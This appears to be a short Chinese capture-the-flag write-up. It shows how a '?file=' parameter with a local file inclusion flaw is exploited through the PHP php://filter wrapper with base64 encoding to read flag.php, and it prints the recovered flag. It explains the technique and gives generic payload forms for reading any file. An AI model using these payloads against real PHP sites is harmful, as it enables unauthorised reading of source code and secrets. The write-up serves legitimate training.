打开链接
点击tips
url中含有?file=flag.php,题目提示include,猜测存在文件包含漏洞
利用伪协议php://filter查看文件源码
构造/?file=php://filter/resource=flag.php发现没有反应
构造/?file=php://filter/read=convert.base64-encode/resource=flag.php得到一堆字符串
将字符进行base64解码
得到flag{f27d458e-43fa-481d-a009-5d0bc5a1d95c}
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
?file=php://filter/resource=xxx.php
直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上
?file=php://filter/read=convert.base64-encode/resource=xxx.php
将文件内容进行base64编码后显示在浏览器上,再自行解码